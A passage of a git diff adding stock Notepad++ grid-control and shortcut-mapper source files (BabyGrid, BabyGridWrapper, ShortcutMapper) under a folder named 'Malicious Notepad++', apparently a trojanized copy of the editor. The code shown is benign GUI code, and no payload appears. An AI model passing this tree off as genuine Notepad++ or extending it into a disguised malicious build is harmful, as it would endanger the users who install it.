if((!MATCH)&&(empty_space == -1)) + { + return -1; + } + return returnvalue; + + } + +int FindGrid( UINT menuid) + { + //if grid doesn't exist, return -1, else return gridindex + int returnvalue; + int j; + returnvalue = -1; + for(j=0;j(SendMessage(lbhWnd, LB_GETCOUNT, 0, 0)); + if(lbcount == 0) + { + ReturnValue = LB_ERR; + return ReturnValue; + } + if(lbcount < 12) + { + //not worth doing binary search, do regular search + FindResult = static_cast(SendMessage(lbhWnd, LB_FINDSTRING, static_cast(-1), reinterpret_cast(searchtext))); + ReturnValue = FindResult; + return ReturnValue; + } + + // do a binary search + head = 0; + tail = lbcount - 1; + + //is it the head? + SendMessage(lbhWnd, LB_GETTEXT, head, reinterpret_cast(headtext)); + headtext[9] = 0x00; + + p=lstrcmp(searchtext,headtext); + if(p==0) + { + //it was the head + ReturnValue = head; + return ReturnValue; + } + if(p<0) + { + //it was less than the head... not found + ReturnValue = LB_ERR; + return ReturnValue; + } + + + + //is it the tail? + SendMessage(lbhWnd, LB_GETTEXT, tail, reinterpret_cast(tailtext)); + tailtext[9] = 0x00; + p=lstrcmp(searchtext,tailtext); + if(p==0) + { + //it was the tail + ReturnValue = tail; + return ReturnValue; + } + if(p>0) + { + //it was greater than the tail... not found + ReturnValue = LB_ERR; + return ReturnValue; + } + + //is it the finger? + ReturnValue = LB_ERR; + FOUND=FALSE; + + + while((!FOUND)&&((tail-head)>1)) + { + finger = head + ((tail - head) / 2); + + SendMessage(lbhWnd, LB_GETTEXT, finger, reinterpret_cast(tbuffer)); + tbuffer[9] = 0x00; + p=lstrcmp(tbuffer,searchtext); + if(p==0) + { + FOUND=TRUE; + ReturnValue = finger; + } + + if(p<0) + { + //change tail to finger + head = finger; + } + if(p>0) + { + //change head to finger + tail = finger; + } + + + } + return ReturnValue; + } + diff --git a/Malicious Notepad++/src/WinControls/Grid/BabyGrid.h b/Malicious Notepad++/src/WinControls/Grid/BabyGrid.h new file mode 100644 index 0000000..267328b --- /dev/null +++ b/Malicious Notepad++/src/WinControls/Grid/BabyGrid.h @@ -0,0 +1,114 @@ +//BABYGRID code is copyrighted (C) 20002 by David Hillard +// +//This code must retain this copyright message +// +//Printed BABYGRID message reference and tutorial available. +//email: mudcat@mis.net for more information. + +#ifndef BABYGRID_H + +#include + +#ifndef RESOURCE_H +#include "resource.h" +#endif// RESOURCE_H + +#ifndef WM_MOUSEWHEEL +#define WM_MOUSEWHEEL 0x020A +#endif //WM_MOUSEWHEEL + +#define BGN_LBUTTONDOWN 0x0001 +#define BGN_MOUSEMOVE 0x0002 +#define BGN_OUTOFRANGE 0x0003 +#define BGN_OWNERDRAW 0x0004 +#define BGN_SELCHANGE 0x0005 +#define BGN_ROWCHANGED 0x0006 +#define BGN_COLCHANGED 0x0007 +#define BGN_EDITBEGIN 0x0008 +#define BGN_DELETECELL 0x0009 +#define BGN_EDITEND 0x000A +#define BGN_F1 0x000B +#define BGN_F2 0x000C +#define BGN_F3 0x000D +#define BGN_F4 0x000E +#define BGN_F5 0x000F +#define BGN_F6 0x0010 +#define BGN_F7 0x0011 +#define BGN_F8 0x0012 +#define BGN_F9 0x0013 +#define BGN_F10 0x0014 +#define BGN_F11 0x0015 +#define BGN_F12 0x0016 +#define BGN_GOTFOCUS 0x0017 +#define BGN_LOSTFOCUS 0x0018 +#define BGN_CELLCLICKED 0x0019 +#define BGN_CELLDBCLICKED 0x001A +#define BGN_CELLRCLICKED 0x001B + + + +#define BGM_PROTECTCELL BABYGRID_USER + 1 +#define BGM_SETPROTECT BABYGRID_USER + 2 +#define BGM_SETCELLDATA BABYGRID_USER + 3 +#define BGM_GETCELLDATA BABYGRID_USER + 4 +#define BGM_CLEARGRID BABYGRID_USER + 5 +#define BGM_SETGRIDDIM BABYGRID_USER + 6 +#define BGM_DELETECELL BABYGRID_USER + 7 +#define BGM_SETCURSORPOS BABYGRID_USER + 8 +#define BGM_AUTOROW BABYGRID_USER + 9 +#define BGM_GETOWNERDRAWITEM BABYGRID_USER + 10 +#define BGM_SETCOLWIDTH BABYGRID_USER + 11 +#define BGM_SETHEADERROWHEIGHT BABYGRID_USER + 12 +#define BGM_GETTYPE BABYGRID_USER + 13 +#define BGM_GETPROTECTION BABYGRID_USER + 14 +#define BGM_DRAWCURSOR BABYGRID_USER + 15 +#define BGM_SETROWHEIGHT BABYGRID_USER + 16 +#define BGM_SETCURSORCOLOR BABYGRID_USER + 17 +#define BGM_SETPROTECTCOLOR BABYGRID_USER + 18 +#define BGM_SETUNPROTECTCOLOR BABYGRID_USER + 19 +#define BGM_SETROWSNUMBERED BABYGRID_USER + 20 +#define BGM_SETCOLSNUMBERED BABYGRID_USER + 21 +#define BGM_SHOWHILIGHT BABYGRID_USER + 22 +#define BGM_GETROWS BABYGRID_USER + 23 +#define BGM_GETCOLS BABYGRID_USER + 24 +#define BGM_NOTIFYROWCHANGED BABYGRID_USER + 25 +#define BGM_NOTIFYCOLCHANGED BABYGRID_USER + 26 +#define BGM_GETROW BABYGRID_USER + 27 +#define BGM_GETCOL BABYGRID_USER + 28 +#define BGM_PAINTGRID BABYGRID_USER + 29 +#define BGM_GETCOLWIDTH BABYGRID_USER + 30 +#define BGM_GETROWHEIGHT BABYGRID_USER + 31 +#define BGM_GETHEADERROWHEIGHT BABYGRID_USER + 32 +#define BGM_SETTITLEHEIGHT BABYGRID_USER + 33 + +#define BGM_SETHILIGHTCOLOR BABYGRID_USER + 34 +#define BGM_SETHILIGHTTEXTCOLOR BABYGRID_USER + 35 +#define BGM_SETEDITABLE BABYGRID_USER + 36 +#define BGM_SETGRIDLINECOLOR BABYGRID_USER + 37 +#define BGM_EXTENDLASTCOLUMN BABYGRID_USER + 38 +#define BGM_SHOWINTEGRALROWS BABYGRID_USER + 39 +#define BGM_SETELLIPSIS BABYGRID_USER + 40 +#define BGM_SETCOLAUTOWIDTH BABYGRID_USER + 41 +#define BGM_SETALLOWCOLRESIZE BABYGRID_USER + 42 +#define BGM_SETTITLEFONT BABYGRID_USER + 43 +#define BGM_SETHEADINGFONT BABYGRID_USER + 44 +#define BGM_GETHOMEROW BABYGRID_USER + 45 +#define BGM_SETLASTVIEW BABYGRID_USER + 46 +#define BGM_SETINITIALCONTENT BABYGRID_USER + 47 +#define BGM_SETHILIGHTCOLOR_NOFOCUS BABYGRID_USER + 48 +#define BGM_SETHILIGHTCOLOR_PROTECT BABYGRID_USER + 49 +#define BGM_SETHILIGHTCOLOR_PROTECT_NOFOCUS BABYGRID_USER + 50 + + struct _BGCELL { + int row; + int col; + }; + + +//function forward declarations +ATOM RegisterGridClass(HINSTANCE); +LRESULT CALLBACK GridProc(HWND, UINT, WPARAM, LPARAM); +void SetCell(_BGCELL *cell,int row, int col); + + +#endif// BABYGRID_H diff --git a/Malicious Notepad++/src/WinControls/Grid/BabyGridWrapper.cpp b/Malicious Notepad++/src/WinControls/Grid/BabyGridWrapper.cpp new file mode 100644 index 0000000..8852778 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/Grid/BabyGridWrapper.cpp @@ -0,0 +1,51 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#include "BabyGridWrapper.h" + +const TCHAR *babyGridClassName = TEXT("BABYGRID"); + +bool BabyGridWrapper::_isRegistered = false; + +void BabyGridWrapper::init(HINSTANCE hInst, HWND parent, int16_t id) +{ + Window::init(hInst, parent); + + if (!_isRegistered) + RegisterGridClass(_hInst); + + _hSelf = ::CreateWindowEx(WS_EX_CLIENTEDGE, + babyGridClassName,\ + TEXT(""),\ + WS_CHILD | WS_VISIBLE | WS_TABSTOP,\ + CW_USEDEFAULT, 0, CW_USEDEFAULT, 0,\ + _hParent,\ + reinterpret_cast(id), \ + _hInst,\ + NULL); +} diff --git a/Malicious Notepad++/src/WinControls/Grid/BabyGridWrapper.h b/Malicious Notepad++/src/WinControls/Grid/BabyGridWrapper.h new file mode 100644 index 0000000..2be9573 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/Grid/BabyGridWrapper.h @@ -0,0 +1,155 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#pragma once + +#include "Parameters.h" +#include "BabyGrid.h" +#include "Window.h" + +class BabyGridWrapper : public Window +{ +public : + BabyGridWrapper() : Window(){}; + ~BabyGridWrapper(){}; + virtual void init(HINSTANCE hInst, HWND parent, int16_t id); + virtual void destroy() { + ::DestroyWindow(_hSelf); + }; + void setLineColNumber(size_t nbRow, size_t nbCol) { + ::SendMessage(_hSelf, BGM_SETGRIDDIM, nbRow, nbCol); + }; + + void setCursorColour(COLORREF coulour) { + ::SendMessage(_hSelf, BGM_SETCURSORCOLOR, coulour, 0); + }; + + void hideCursor() { + setCursorColour(RGB(0, 0, 0)); + }; + + void setColsNumbered(bool isNumbered = true) { + ::SendMessage(_hSelf, BGM_SETCOLSNUMBERED, isNumbered?TRUE:FALSE, 0); + } + + void setText(size_t row, size_t col, const TCHAR *text) { + _BGCELL cell; + cell.row = int(row); + cell.col = int(col); + ::SendMessage(_hSelf, BGM_SETCELLDATA, reinterpret_cast(&cell), reinterpret_cast(text)); + }; + + void makeColAutoWidth(bool autoWidth = true) { + ::SendMessage(_hSelf, BGM_SETCOLAUTOWIDTH, autoWidth?TRUE:FALSE, 0); + }; + + int getSelectedRow() { + return (int)::SendMessage(_hSelf, BGM_GETROW, 0, 0); + }; + + void deleteCell(int row, int col) { + _BGCELL cell; + cell.row = row; + cell.col = col; + ::SendMessage(_hSelf, BGM_DELETECELL, reinterpret_cast(&cell), 0); + }; + + void setColWidth(unsigned int col, unsigned int width) { + ::SendMessage(_hSelf, BGM_SETCOLWIDTH, col, width); + }; + + void clear() { + ::SendMessage(_hSelf, BGM_CLEARGRID, 0, 0); + }; + + int getNumberRows() const { + return (int)::SendMessage(_hSelf, BGM_GETROWS, 0, 0); + }; + + int getHomeRow() const { + return (int)::SendMessage(_hSelf, BGM_GETHOMEROW, 0, 0); + }; + + void setLastView(const size_t homeRow, const size_t cursorRow) const { + ::SendMessage(_hSelf, BGM_SETLASTVIEW, homeRow, cursorRow); + }; + + void updateView() const { + ::SendMessage(_hSelf, WM_PAINT, 0, 0); + }; + + void setHighlightColorNoFocus(const COLORREF color) const { + ::SendMessage(_hSelf, BGM_SETHILIGHTCOLOR_NOFOCUS, color, 0); + }; + + void setProtectColor(const COLORREF color) const { + ::SendMessage(_hSelf, BGM_SETPROTECTCOLOR, color, 0); + }; + + void setHighlightColorProtect(const COLORREF color) const { + ::SendMessage(_hSelf, BGM_SETHILIGHTCOLOR_PROTECT, color, 0); + }; + + void setHighlightColorProtectNoFocus(const COLORREF color) const { + ::SendMessage(_hSelf, BGM_SETHILIGHTCOLOR_PROTECT_NOFOCUS, color, 0); + }; + + bool setMarker(const bool isMarker) const { + ::SendMessage(_hSelf, BGM_SETPROTECT, isMarker, 0); + return isMarker; + }; + + void setAutoRow(const bool isAutoRow) const { + ::SendMessage(_hSelf, BGM_AUTOROW, isAutoRow, 0); + }; + + void setInitialContent(const bool isInitialContent) const { + ::SendMessage(_hSelf, BGM_SETINITIALCONTENT, isInitialContent, 0); + }; + + void setHeaderFont(const HFONT & hFont) const { + ::SendMessage(_hSelf, BGM_SETHEADINGFONT, reinterpret_cast(hFont), 0); + }; + + void setRowFont(const HFONT & hFont) const { + ::SendMessage(_hSelf, WM_SETFONT, reinterpret_cast(hFont), 0); + }; + + void setHeaderHeight(const size_t headerHeight) const { + ::SendMessage(_hSelf, BGM_SETHEADERROWHEIGHT, headerHeight, 0); + }; + + void setRowHeight(const size_t rowHeight) const { + ::SendMessage(_hSelf, BGM_SETROWHEIGHT, rowHeight, 0); + }; + +private : + static bool _isRegistered; +}; + + diff --git a/Malicious Notepad++/src/WinControls/Grid/ShortcutMapper.cpp b/Malicious Notepad++/src/WinControls/Grid/ShortcutMapper.cpp new file mode 100644 index 0000000..32ff404 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/Grid/ShortcutMapper.cpp @@ -0,0 +1,1067 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#include "ShortcutMapper.h" +#include "Notepad_plus.h" + +#ifdef UNICODE +#define numToStr std::to_wstring +#else +#define numToStr std::to_string +#endif //UNICODE + +using namespace std; + +void ShortcutMapper::initTabs() { + HWND hTab = _hTabCtrl = ::GetDlgItem(_hSelf, IDC_BABYGRID_TABBAR); + TCITEM tie; + tie.mask = TCIF_TEXT; + tie.pszText = tabNames[0]; + ::SendMessage(hTab, TCM_INSERTITEM, 0, reinterpret_cast(&tie)); + tie.pszText = tabNames[1]; + ::SendMessage(hTab, TCM_INSERTITEM, 1, reinterpret_cast(&tie)); + tie.pszText = tabNames[2]; + ::SendMessage(hTab, TCM_INSERTITEM, 2, reinterpret_cast(&tie)); + tie.pszText = tabNames[3]; + ::SendMessage(hTab, TCM_INSERTITEM, 3, reinterpret_cast(&tie)); + tie.pszText = tabNames[4]; + ::SendMessage(hTab, TCM_INSERTITEM, 4, reinterpret_cast(&tie)); + + TabCtrl_SetCurSel(_hTabCtrl, int(_currentState)); + + // force alignment to babygrid + RECT rcTab; + WINDOWPLACEMENT wp; + wp.length = sizeof(wp); + + ::GetWindowPlacement(hTab, &wp); + ::SendMessage(hTab, TCM_GETITEMRECT, 0, reinterpret_cast(&rcTab)); + + wp.rcNormalPosition.bottom = NppParameters::getInstance()->_dpiManager.scaleY(30); + wp.rcNormalPosition.top = wp.rcNormalPosition.bottom - rcTab.bottom; + + ::SetWindowPlacement(hTab, &wp); +} + +void ShortcutMapper::getClientRect(RECT & rc) const +{ + Window::getClientRect(rc); + + rc.top += NppParameters::getInstance()->_dpiManager.scaleY(30); + rc.bottom -= NppParameters::getInstance()->_dpiManager.scaleY(108); + rc.left += NppParameters::getInstance()->_dpiManager.scaleX(5); + rc.right -= NppParameters::getInstance()->_dpiManager.scaleX(5); +} + +void ShortcutMapper::translateTab(int index, const TCHAR * newname) { + if (index < 0 || index > 4) + return; + generic_strncpy(tabNames[index], newname, maxTabName); +} + +void ShortcutMapper::initBabyGrid() { + RECT rect; + getClientRect(rect); + + _lastHomeRow.resize(5, 1); + _lastCursorRow.resize(5, 1); + + _hGridFonts.resize(MAX_GRID_FONTS); + _hGridFonts.at(GFONT_HEADER) = ::CreateFont( + NppParameters::getInstance()->_dpiManager.scaleY(18), 0, 0, 0, FW_BOLD, + FALSE, FALSE, FALSE, DEFAULT_CHARSET, OUT_DEFAULT_PRECIS, CLIP_DEFAULT_PRECIS, DEFAULT_QUALITY, DEFAULT_PITCH, + TEXT("MS Shell Dlg")); + _hGridFonts.at(GFONT_ROWS) = ::CreateFont( + NppParameters::getInstance()->_dpiManager.scaleY(16), 0, 0, 0, FW_NORMAL, + FALSE, FALSE, FALSE, DEFAULT_CHARSET, OUT_DEFAULT_PRECIS, CLIP_DEFAULT_PRECIS, DEFAULT_QUALITY, DEFAULT_PITCH, + TEXT("MS Shell Dlg")); + + _babygrid.init(_hInst, _hSelf, IDD_BABYGRID_ID1); + + _babygrid.setHeaderFont(_hGridFonts.at(GFONT_HEADER)); + _babygrid.setRowFont(_hGridFonts.at(GFONT_ROWS)); + + _babygrid.reSizeToWH(rect); + _babygrid.hideCursor(); + _babygrid.makeColAutoWidth(false); + _babygrid.setAutoRow(false); + _babygrid.setColsNumbered(false); + _babygrid.setColWidth(0, NppParameters::getInstance()->_dpiManager.scaleX(30)); + _babygrid.setColWidth(1, NppParameters::getInstance()->_dpiManager.scaleX(290)); + _babygrid.setColWidth(2, NppParameters::getInstance()->_dpiManager.scaleX(140)); + _babygrid.setColWidth(3, NppParameters::getInstance()->_dpiManager.scaleX(40)); + _babygrid.setHeaderHeight(NppParameters::getInstance()->_dpiManager.scaleY(21)); + _babygrid.setRowHeight(NppParameters::getInstance()->_dpiManager.scaleY(21)); + + _babygrid.setHighlightColorNoFocus(RGB(200,200,210)); + _babygrid.setProtectColor(RGB(255,130,120)); + _babygrid.setHighlightColorProtect(RGB(244,10,20)); + _babygrid.setHighlightColorProtectNoFocus(RGB(230,194,190)); +} + +void ShortcutMapper::fillOutBabyGrid() +{ + NppParameters *nppParam = NppParameters::getInstance(); + _babygrid.clear(); + _babygrid.setInitialContent(true); + + size_t nbItems = 0; + + _babygrid.setText(0, 1, TEXT("Name")); + _babygrid.setText(0, 2, TEXT("Shortcut")); + + switch(_currentState) { + case STATE_MENU: { + nbItems = nppParam->getUserShortcuts().size(); + _babygrid.setLineColNumber(nbItems, 3); + _babygrid.setText(0, 3, TEXT("Category")); + break; } + case STATE_MACRO: { + nbItems = nppParam->getMacroList().size(); + _babygrid.setLineColNumber(nbItems, 2); + break; } + case STATE_USER: { + nbItems = nppParam->getUserCommandList().size(); + _babygrid.setLineColNumber(nbItems, 2); + break; } + case STATE_PLUGIN: { + nbItems = nppParam->getPluginCommandList().size(); + _babygrid.setLineColNumber(nbItems, 3); + _babygrid.setText(0, 3, TEXT("Plugin")); + break; } + case STATE_SCINTILLA: { + nbItems = nppParam->getScintillaKeyList().size(); + _babygrid.setLineColNumber(nbItems, 2); + break; } + } + + bool isMarker = false; + + switch(_currentState) { + case STATE_MENU: { + vector & cshortcuts = nppParam->getUserShortcuts(); + for(size_t i = 0; i < nbItems; ++i) + { + if (findKeyConflicts(nullptr, cshortcuts[i].getKeyCombo(), i)) + isMarker = _babygrid.setMarker(true); + + _babygrid.setText(i+1, 1, cshortcuts[i].getName()); + if (cshortcuts[i].isEnabled()) //avoid empty strings for better performance + _babygrid.setText(i+1, 2, cshortcuts[i].toString().c_str()); + _babygrid.setText(i+1, 3, cshortcuts[i].getCategory()); + if (isMarker) + isMarker = _babygrid.setMarker(false); + } + ::EnableWindow(::GetDlgItem(_hSelf, IDM_BABYGRID_MODIFY), true); + ::EnableWindow(::GetDlgItem(_hSelf, IDM_BABYGRID_CLEAR), true); + ::EnableWindow(::GetDlgItem(_hSelf, IDM_BABYGRID_DELETE), false); + break; } + case STATE_MACRO: { + vector & cshortcuts = nppParam->getMacroList(); + for(size_t i = 0; i < nbItems; ++i) + { + if (findKeyConflicts(nullptr, cshortcuts[i].getKeyCombo(), i)) + isMarker = _babygrid.setMarker(true); + + _babygrid.setText(i+1, 1, cshortcuts[i].getName()); + if (cshortcuts[i].isEnabled()) //avoid empty strings for better performance + _babygrid.setText(i+1, 2, cshortcuts[i].toString().c_str()); + + if (isMarker) + isMarker = _babygrid.setMarker(false); + } + bool shouldBeEnabled = nbItems > 0; + ::EnableWindow(::GetDlgItem(_hSelf, IDM_BABYGRID_MODIFY), shouldBeEnabled); + ::EnableWindow(::GetDlgItem(_hSelf, IDM_BABYGRID_CLEAR), shouldBeEnabled); + ::EnableWindow(::GetDlgItem(_hSelf, IDM_BABYGRID_DELETE), shouldBeEnabled); + break; } + case STATE_USER: { + vector & cshortcuts = nppParam->getUserCommandList(); + for(size_t i = 0; i < nbItems; ++i) + { + if (findKeyConflicts(nullptr, cshortcuts[i].getKeyCombo(), i)) + isMarker = _babygrid.setMarker(true); + + _babygrid.setText(i+1, 1, cshortcuts[i].getName()); + if (cshortcuts[i].isEnabled()) //avoid empty strings for better performance + _babygrid.setText(i+1, 2, cshortcuts[i].toString().c_str()); + + if (isMarker) + isMarker = _babygrid.setMarker(false); + } + bool shouldBeEnabled = nbItems > 0; + ::EnableWindow(::GetDlgItem(_hSelf, IDM_BABYGRID_MODIFY), shouldBeEnabled); + ::EnableWindow(::GetDlgItem(_hSelf, IDM_BABYGRID_CLEAR), shouldBeEnabled); + ::EnableWindow(::GetDlgItem(_hSelf, IDM_BABYGRID_DELETE), shouldBeEnabled); + break; } + case STATE_PLUGIN: { + vector & cshortcuts = nppParam->getPluginCommandList(); + for(size_t i = 0; i < nbItems; ++i) + { + if (findKeyConflicts(nullptr, cshortcuts[i].getKeyCombo(), i)) + isMarker = _babygrid.setMarker(true); + + _babygrid.setText(i+1, 1, cshortcuts[i].getName()); + if (cshortcuts[i].isEnabled()) //avoid empty strings for better performance + _babygrid.setText(i+1, 2, cshortcuts[i].toString().c_str()); + _babygrid.setText(i+1, 3, cshortcuts[i].getModuleName()); + + if (isMarker) + isMarker = _babygrid.setMarker(false); + } + bool shouldBeEnabled = nbItems > 0; + ::EnableWindow(::GetDlgItem(_hSelf, IDM_BABYGRID_MODIFY), shouldBeEnabled); + ::EnableWindow(::GetDlgItem(_hSelf, IDM_BABYGRID_CLEAR), shouldBeEnabled); + ::EnableWindow(::GetDlgItem(_hSelf, IDM_BABYGRID_DELETE), false); + break; } + case STATE_SCINTILLA: { + vector & cshortcuts = nppParam->getScintillaKeyList(); + for(size_t i = 0; i < nbItems; ++i) + { + if (cshortcuts[i].isEnabled()) + { + size_t sciCombos = cshortcuts[i].getSize(); + for (size_t sciIndex = 0; sciIndex < sciCombos; ++sciIndex) + { + if (findKeyConflicts(nullptr, cshortcuts[i].getKeyComboByIndex(sciIndex), i)) + { + isMarker = _babygrid.setMarker(true); + break; + } + } + } + + _babygrid.setText(i+1, 1, cshortcuts[i].getName()); + if (cshortcuts[i].isEnabled()) //avoid empty strings for better performance + _babygrid.setText(i+1, 2, cshortcuts[i].toString().c_str()); + + if (isMarker) + isMarker = _babygrid.setMarker(false); + } + ::EnableWindow(::GetDlgItem(_hSelf, IDM_BABYGRID_MODIFY), true); + ::EnableWindow(::GetDlgItem(_hSelf, IDM_BABYGRID_CLEAR), false); + ::EnableWindow(::GetDlgItem(_hSelf, IDM_BABYGRID_DELETE), false); + break; } + } + if (nbItems > 0) + //restore the last view + _babygrid.setLastView(_lastHomeRow[_currentState], _lastCursorRow[_currentState]); + else + //clear the info area + ::SendDlgItemMessage(_hSelf, IDC_BABYGRID_INFO, WM_SETTEXT, 0, 0); + _babygrid.setInitialContent(false); +} + +INT_PTR CALLBACK ShortcutMapper::run_dlgProc(UINT message, WPARAM wParam, LPARAM lParam) +{ + switch (message) + { + case WM_INITDIALOG : + { + initBabyGrid(); + initTabs(); + fillOutBabyGrid(); + _babygrid.display(); + goToCenter(); + return TRUE; + } + + case WM_DESTROY: + { + for (const HFONT & hFont : _hGridFonts) + ::DeleteObject(hFont); + _hGridFonts.clear(); + _hGridFonts.shrink_to_fit(); + break; + } + + case WM_NOTIFY: { + NMHDR nmh = *((NMHDR*)lParam); + if (nmh.hwndFrom == _hTabCtrl) { + if (nmh.code == TCN_SELCHANGE) { + //save the current view + _lastHomeRow[_currentState] = _babygrid.getHomeRow(); + _lastCursorRow[_currentState] = _babygrid.getSelectedRow(); + int index = TabCtrl_GetCurSel(_hTabCtrl); + switch (index) { + case 0: + _currentState = STATE_MENU; + break; + case 1: + _currentState = STATE_MACRO; + break; + case 2: + _currentState = STATE_USER; + break; + case 3: + _currentState = STATE_PLUGIN; + break; + case 4: + _currentState = STATE_SCINTILLA; + break; + } + fillOutBabyGrid(); + } + } + break; } + + case NPPM_INTERNAL_FINDKEYCONFLICTS: + { + if (not wParam || not lParam) + break; + + generic_string conflictInfo; + + const bool isConflict = findKeyConflicts(&conflictInfo, *reinterpret_cast(wParam), _babygrid.getSelectedRow() - 1); + *reinterpret_cast(lParam) = isConflict; + if (isConflict) + ::SendDlgItemMessage(_hSelf, IDC_BABYGRID_INFO, WM_SETTEXT, 0, reinterpret_cast(conflictInfo.c_str())); + else + ::SendDlgItemMessage(_hSelf, IDC_BABYGRID_INFO, WM_SETTEXT, 0, reinterpret_cast(_assignInfo.c_str())); + + return TRUE; + } + + case WM_COMMAND : + { + switch (LOWORD(wParam)) + { + case IDCANCEL : + { + ::EndDialog(_hSelf, -1); + return TRUE; + } + case IDOK : + { + ::EndDialog(_hSelf, 0); + return TRUE; + } + + case IDM_BABYGRID_CLEAR : + { + if (_babygrid.getNumberRows() < 1) + return TRUE; + + NppParameters *nppParam = NppParameters::getInstance(); + int row = _babygrid.getSelectedRow(); + bool isModified = false; + + switch(_currentState) + { + case STATE_MENU: + { + //Get CommandShortcut corresponding to row + vector & shortcuts = nppParam->getUserShortcuts(); + CommandShortcut csc = shortcuts[row - 1]; + csc.clear(); + shortcuts[row - 1] = csc; + //shortcut was altered + nppParam->addUserModifiedIndex(row-1); + + //save the current view + _lastHomeRow[_currentState] = _babygrid.getHomeRow(); + _lastCursorRow[_currentState] = _babygrid.getSelectedRow(); + fillOutBabyGrid(); + + isModified = true; + + //Notify current Accelerator class to update everything + nppParam->getAccelerator()->updateShortcuts(); + nppParam->setShortcutDirty(); + break; + } + case STATE_MACRO: + { + //Get MacroShortcut corresponding to row + vector & shortcuts = nppParam->getMacroList(); + MacroShortcut msc = shortcuts[row - 1]; + msc.clear(); + shortcuts[row - 1] = msc; + //save the current view + _lastHomeRow[_currentState] = _babygrid.getHomeRow(); + _lastCursorRow[_currentState] = _babygrid.getSelectedRow(); + fillOutBabyGrid(); + + isModified = true; + + //Notify current Accelerator class to update everything + nppParam->getAccelerator()->updateShortcuts(); + nppParam->setShortcutDirty(); + break; + } + case STATE_USER: + { + //Get UserCommand corresponding to row + vector & shortcuts = nppParam->getUserCommandList(); + UserCommand ucmd = shortcuts[row - 1]; + ucmd.clear(); + + //shortcut was altered + shortcuts[row - 1] = ucmd; + + //save the current view + _lastHomeRow[_currentState] = _babygrid.getHomeRow(); + _lastCursorRow[_currentState] = _babygrid.getSelectedRow(); + fillOutBabyGrid(); + + isModified = true; + + //Notify current Accelerator class to update everything + nppParam->getAccelerator()->updateShortcuts(); + nppParam->setShortcutDirty(); + break; + } + case STATE_PLUGIN: + { + //Get PluginCmdShortcut corresponding to row + vector & shortcuts = nppParam->getPluginCommandList(); + PluginCmdShortcut pcsc = shortcuts[row - 1]; + pcsc.clear(); + //shortcut was altered + nppParam->addPluginModifiedIndex(row-1); + shortcuts[row - 1] = pcsc; + + //save the current view + _lastHomeRow[_currentState] = _babygrid.getHomeRow(); + _lastCursorRow[_currentState] = _babygrid.getSelectedRow(); + fillOutBabyGrid(); + + isModified = true; + + //Notify current Accelerator class to update everything + nppParam->getAccelerator()->updateShortcuts(); + unsigned long cmdID = pcsc.getID(); + ShortcutKey shortcut; + shortcut._isAlt = FALSE; + shortcut._isCtrl = FALSE; + shortcut._isShift = FALSE; + shortcut._key = '\0'; + + ::SendMessage(_hParent, NPPM_INTERNAL_PLUGINSHORTCUTMOTIFIED, cmdID, reinterpret_cast(&shortcut)); + nppParam->setShortcutDirty(); + break; + } + case STATE_SCINTILLA: + { + // Do nothing + break; + } + } + if (not isModified) + ::SendMessage(_hSelf, WM_COMMAND, MAKEWPARAM(IDD_BABYGRID_ID1, BGN_ROWCHANGED), row); + return TRUE; + } + case IDM_BABYGRID_MODIFY : + { + if (_babygrid.getNumberRows() < 1) + return TRUE; + + NppParameters *nppParam = NppParameters::getInstance(); + int row = _babygrid.getSelectedRow(); + bool isModified = false; + + switch(_currentState) + { + case STATE_MENU: + { + //Get CommandShortcut corresponding to row + vector & shortcuts = nppParam->getUserShortcuts(); + CommandShortcut csc = shortcuts[row - 1], prevcsc = shortcuts[row - 1]; + csc.init(_hInst, _hSelf); + if (csc.doDialog() != -1 && prevcsc != csc) + { + //shortcut was altered + nppParam->addUserModifiedIndex(row-1); + shortcuts[row - 1] = csc; + + //save the current view + _lastHomeRow[_currentState] = _babygrid.getHomeRow(); + 